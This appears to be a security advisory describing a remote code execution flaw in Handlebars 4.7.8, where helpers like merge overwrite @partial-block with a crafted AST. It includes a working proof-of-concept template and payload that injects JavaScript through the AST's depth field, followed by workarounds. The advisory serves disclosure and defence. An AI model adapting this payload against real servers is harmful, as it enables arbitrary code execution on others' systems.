Summary

The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.

Description

Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.

When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.

The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.

Proof of Concept

Tested with Handlebars 4.7.8 and handlebars-helpers:

const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);

const vulnerableTemplate = `
{{#*inline "myPartial"}}
    {{>@partial-block}}
    {{>@partial-block}}
{{/inline}}
{{#>myPartial}}
    {{merge @_parent partial-block=1}}
    {{merge @_parent partial-block=payload}}
{{/myPartial}}
`;

const maliciousContext = {
  payload: {
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Code injected via depth field — breaks out of generated function call
          depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block

Workarounds

• Use the runtime-only build (require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path.
• Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
• Avoid registering helpers from third-party packages (such as handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.